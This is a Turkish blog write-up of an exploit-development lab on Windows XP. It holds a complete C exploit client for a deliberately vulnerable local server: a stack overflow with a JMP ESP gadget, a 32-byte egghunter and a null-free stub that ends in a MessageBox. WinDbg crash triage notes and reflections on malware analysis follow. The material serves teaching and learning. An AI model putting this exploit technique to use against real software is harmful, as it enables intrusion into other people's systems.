Client tarafı da tek ayar bloğuyla çalışıyor; endian çevirisi makrolarla otomatik ve gönderimden önce bad-char kontrolü var:

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>

/* ================= AYARLAR (sadece burayi duzenle) ================= */
#define TARGET_IP    "127.0.0.1"
#define TARGET_PORT  9999

/* EIP offseti: marker yontemiyle dogrula ("A"*N + "BBBB" -> EIP=42424242) */
#define OFFSET       2012

/* JMP ESP adresi: gadget tarayici ciktisindan (kernel32/user32/ntdll) */
#define JMP_ESP      0x7C86467BUL   /* ORNEK - kendi adresinle degistir */

/* proof() adresinin dusuk 16 biti (sunucu konsolundan oku).
   0x00401290 icin -> 0x1290. Baytlari 0x00/0x0A/0x0D icermemeli! */
#define PROOF_LOW    0x00401290

#define EGG          "w00tw00t"
/* ===================================================================== */

/* 32 bayt NtAccessCheckAndAuditAlarm egghunter (XP 32-bit, egg: w00t) */
static const unsigned char egghunter[32] = {
    0x66,0x81,0xCA,0xFF,0x0F, 0x42, 0x52, 0x6A,0x02,0x58,
    0xCD,0x2E, 0x3C,0x05, 0x5A, 0x74,0xEF,
    0xB8,0x77,0x30,0x30,0x74, 0x8B,0xFA, 0xAF, 0x75,0xEA,
    0xAF, 0x75,0xE7, 0xFF,0xE7
};

/* Null'suz 12 bayt stub: eax = 0x00400000 + PROOF_LOW, call eax.
   0x00 icermedigi icin sunucudaki strncpy/strcpy bunu KESMEZ. */
static const unsigned char payload[] = {
    0x6A, 0x40,                                          /* push 0x40   */
    0x58,                                                /* pop eax     */
    0xC1, 0xE0, 0x10,                                    /* shl eax,16  */
    0x66, 0x05, (PROOF_LOW & 0xFF), ((PROOF_LOW >> 8) & 0xFF),
                                                         /* add ax,PROOF_LOW */
    0xFF, 0xD0                                           /* call eax    */
};

/* Gonderim oncesi bad-char kontrolu:
   0x00 -> strncpy/strcpy keser; 0x0A/0x0D -> read_line satir sonu sanir */
static int check_bytes(const unsigned char *d, size_t n, const char *name)
{
    size_t i;
    int bad = 0;
    for (i = 0; i < n; i++) {
        if (d[i] == 0x00 || d[i] == 0x0A || d[i] == 0x0D) {
            printf("[!] %s bayt %u = 0x%02X (bad char!)\n",
                   name, (unsigned)i, d[i]);
            bad = 1;
        }
    }
    if (!bad) printf("[+] %s temiz (%u bayt)\n", name, (unsigned)n);
    return bad;
}

static int check_addr(unsigned long addr, const char *name)
{
    int i;
    for (i = 0; i < 4; i++) {
        unsigned int b = (unsigned int)((addr >> (8 * i)) & 0xFF);
        if (b == 0x00 || b == 0x0A || b == 0x0D) {
            printf("[!] %s icinde bad char: bayt %d = 0x%02X\n", name, i, b);
            return 1;
        }
    }
    return 0;
}

static void send_raw(SOCKET s, const char *data, int len)
{
    send(s, data, len, 0);
}

int main(void)
{
    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in sa;
    char buf[4096];
    int off;

    printf("=== LAB 51B exploit client ===\n");

    /* Bad char kontrolu: sorun varsa hic gonderme */
    if (check_bytes(payload, sizeof(payload), "payload") ||
        check_bytes(egghunter, sizeof(egghunter), "egghunter") ||
        check_addr(JMP_ESP, "JMP_ESP")) {
        printf("[-] Bad char sorunu var, gonderim iptal.\n");
        return 1;
    }

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return 1;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) { printf("[-] socket\n"); return 1; }

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(TARGET_PORT);
    sa.sin_addr.s_addr = inet_addr(TARGET_IP);

    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
        printf("[-] connect (sunucu acik mi?)\n");
        return 1;
    }
    printf("[+] Baglanti OK -> %s:%d\n", TARGET_IP, TARGET_PORT);
    Sleep(300);

    /* Asama 1: EGG + payload -> heap (KSTET staging) */
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "KSTET ");
    off = 6;
    memcpy(buf + off, EGG, 8);                   off += 8;
    memcpy(buf + off, payload, sizeof(payload)); off += sizeof(payload);
    buf[off++] = '\r';
    buf[off++] = '\n';
    send_raw(s, buf, off);
    printf("[+] Asama 1: egg+payload gonderildi (%d bayt)\n", off);
    Sleep(300);

    /* Asama 2: TRUN -> padding + EIP(JMP ESP) + egghunter */
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "TRUN ");
    off = 5;
    memset(buf + off, 'A', OFFSET);
    off += OFFSET;

    buf[off++] = (char)(JMP_ESP & 0xFF);          /* little-endian, otomatik */
    buf[off++] = (char)((JMP_ESP >> 8) & 0xFF);
    buf[off++] = (char)((JMP_ESP >> 16) & 0xFF);
    buf[off++] = (char)((JMP_ESP >> 24) & 0xFF);

    memcpy(buf + off, egghunter, sizeof(egghunter));
    off += sizeof(egghunter);
    buf[off++] = '\r';
    buf[off++] = '\n';
    send_raw(s, buf, off);
    printf("[+] Asama 2: TRUN gonderildi (%d bayt, EIP=0x%08lX)\n",
           off, JMP_ESP);
    printf("[+] Tamam. Sunucuda MessageBox cikmali.\n");

    closesocket(s);
    WSACleanup();
    return 0;
}

Not: PROOF_LOW tanımında tam adres yazılmış (0x00401290); stub sadece düşük 16 biti kullandığı için (& 0xFF, >> 8 & 0xFF) sonuç aynı çıkıyor. Pratikte sorun yok ama kavramsal olarak akılda kalsın.

3.5A JMP_ESP Adresi (0x7C86467B) WinDbg Üzerinde Nasıl Görüldü ve Değiştirildi?

Client'in ayar bloğundaki şu satır labın en kritik adresini tanımlıyor:

#define JMP_ESP      0x7C86467BUL

Bu adres tahmin ya da bir yerden kopyalama değil; WinDbg oturumunda bulup doğruladım. Sırayla şöyle oldu:

  • Sunucuyu WinDbg altında açtım (File -> Open Executable -> lab_server.exe), ilk kırılmada g dedim. ModLoad listesinden kernel32'nin aralığını okudum: 7c800000-7c8f6000.

  • Tarayıcıdan gelen ilk aday (0x7C82385D) sahte çıktı: crash anında u eip çıktısı 6f outs dx,[esi] gösterdi, yani orada jmp esp yok. Exception kodu c0000096 (privileged instruction) da bunu doğruladı.

  • Sonra elle bayt aradım: s 7c800000 L f6000 ff e4 (ff e4 = jmp esp opcode'u).

  • Gelen adaylardan 0x7C86467B için u 7c86467b L1 birebir jmp esp döndü, içerik doğrulanmış oldu.

  • Adresi client'ta #define JMP_ESP 0x7C86467BUL olarak değiştirdim. Bayt sırası makrolarla otomatik little-endian'a çevriliyor (7B 46 86 7C) ve bad-char kontrolünden geçiyor (00/0A/0D yok).

Ufak bir kaza da oldu: bir denemede son haneyi 7B yerine 7E yazmışım, EIP gadget+3'e düştü (eip=7c86467e, xchg bh,[...] ile AV). Hex adres kopyalarken son haneyi iki kere kontrol etmek bu labın somut derslerinden biri.

3.6 Başarı Kanıtı

Ve çalıştığı an: sunucu process'inde MessageBox açıldı, "PWNED - egghunter çalıştı".

görsel-20.png

EggHunter2: zincir tamamlandı, proof() çalıştı

3.7 Neden Kodu Değiştirdik? Üç Gerçek Hata

Zincir ilk seferde çalışmadı; her değişikliğin arkasında WinDbg'yle teşhis edilmiş somut bir hata var:

  • Null-byte: strncpy stub'i kesti. İlk stub B8 90 12 40 00 FF D0 idi ve 0x00 içeriyordu; strncpy 0x00'da durduğu için heap'e sadece ilk 5 bayt ulaştı (dd çıktısı: 74303077 74303077 401290b8 00000000). Çözüm: immediate'i parçalayarak null'suz 12 baytlık stub (6A 40 / 58 / C1 E0 10 / 66 05 90 12 / FF D0).

  • Offset: 2003 değil, 2012'ymiş. Crash register'larını little-endian çözünce EIP ve EBP'nin egghunter'in kendi baytlarından oluştuğu görüldü (eip=2ecd5802 -> 02 58 cd 2e = egghunter[8..11]). Ölçüm önce 2015 verdi; sonraki denemede eip=5d414141 çıktı (3 tane A + trampoline'in ilk baytı), 3 bayt fazla demek ki, OFFSET=2012'ye çektim.

  • Gadget: sahte adres (0x7C82385D aslında outs'muş), elle doğrulama (s + u), bir de typo (7B/7E).

3.8 Saha Günlüğü (WinDbg Ekranları)

Aşağıdaki ekranlar gerçek hata ayıklama oturumundan; her biri bir teşhis adımına denk geliyor:

görsel-21.jpg

İlk deneme: exploit gönderildi, staging tamam (003E49F8), ama MessageBox yerine JIT penceresi, crash

görsel-22.jpg

JIT debugging kapalı: VS 2010 bağlanamadı. Çözüm: sunucuyu doğrudan WinDbg altında çalıştırmak

görsel-23.jpg

Crash A: eip=2ecd5802, unmapped, zincir son halkada kırılmış

görsel-24.jpg

Kritik an: dd 003E4A50, egg sağlam (74303077 x2) ama stub 0x00'da kesilmiş

görsel-25.jpg

Aynı crash'in birebir tekrarı: kod değişikliği exe'ye girmemiş (Rebuild All + doğru klasör dersi)

görsel-26.jpg

Crash B: eip=026a5242, egghunter'in kendi baytları, offset ölçümü buradan çıktı

görsel-27.jpg

Crash C: eip=5d414141, 3 baytlık kayma, OFFSET=2012'nin kanıtı

3.9 Sonuç

Son parametreler: OFFSET=2012, JMP_ESP=0x7C86467B, egg=w00tw00t, null'suz 12 bayt stub, proof=0x00401290. Zincir şöyle işliyor: ret -> jmp esp -> egghunter sayfa sayfa tarıyor -> heap'te egg -> stub -> call eax -> proof() -> MessageBox.

Bu labdan bana kalanlar: bad-character analizi (0x00/0x0A/0x0D), register dökümünden offset ölçme, gadget'i içeriğiyle doğrulama, derleme hijyeni (Rebuild All, klasör karışıklığına dikkat) ve crash triage disiplini, mona ya da desen üreteci olmadan, sadece r / db / dd / u / s komutlarıyla.

Peki bu örneklerin Conficker.B ve benzer worm veya zararlı yazılımlarla hatta cracker mantığı ile nasıl bir bağlantısı var?

Şu ana kadar çoğu exploit veya bypass genelde bellek yönetimi ve belleğin güvensiz yönetilmesi üzerine inşa edilmiş açıklardan meydana geldi.

Hatta DEP'i boot.ini dosyasından değiştirdim değil mi? Bu aslında yine bir zararlının yapacağı ilk şeylerden birisi ki OS'un default ayarlarını değiştirmektir. En azından o döneme ait olan zararlıları kast edelim. Günümüzde daha çok az iz bırakma üzerine bir yaklaşım var.

Bunlar aslında ASLR mantığının gelmeden önce belleğe müdahile etmenin ve debugger ile cracklı yazılım, exploit geliştirmenin aslında o dönemlerde neden bu kadar kolay olduğunu anlatmaktı.

Egg hunter ise aslında temel olarak yine bir worm veya zararlı yazılımın bazı temel ilkelerini taşıyor. İlk önce bir arama var sonra payload iletimi var ve ardından terminal safhada exploit çalışarak ekrana pwned mesajı düşürüyoruz.

Windbg kullanmamın en büyük sebebi ise hem izolasyon hem de resmi kaynaklardan güvenli bir dosyayı makinemde çalıştırmaktı ancak en temel mantık malware analizinde debugger kullanmanın riskini göstermek istememdi. Test için yazdığım hedef server'ı debugger içinde çalıştırdım ve G ile çalıştırdım payload atıldığında debug sürecinde ilk seferlerde yukarıda pwned dönmedi adım adım incelemek ve adresleri görmek zorundaydım, debugger çoğu konuda hız kazandırır ve bir lükstür ancak Conficker.B'i ghidra ile statik analizle tamamen ilerleyip dinamik analiz geçmeden bu makaleyi yazmamın en büyük sebeplerinden birisi debugger her derde deva olmadığını ve bilinmeyen bir kodda nasıl felaketlere de yol açabileceğini göstermekti.

Bilmediğiniz ve ne yaptığından emin olmadığınız kodun en ufak bir kısmı bile çalıştığında bu crackli bir dosyada olabilir veya malware de olabilir VM bile olsa zarar verebilir veya çalışmanızı çöp edebilir.

Statik analiz bu yüzden çoğu açıdan önemlidir.

Yazımı okuduğunuz için teşekkür ederim.

Telif ve Kullanım Koşulları

© 2026 Hakan ÇEVİK'e (Cybermachine) aittir. Tüm hakları saklıdır.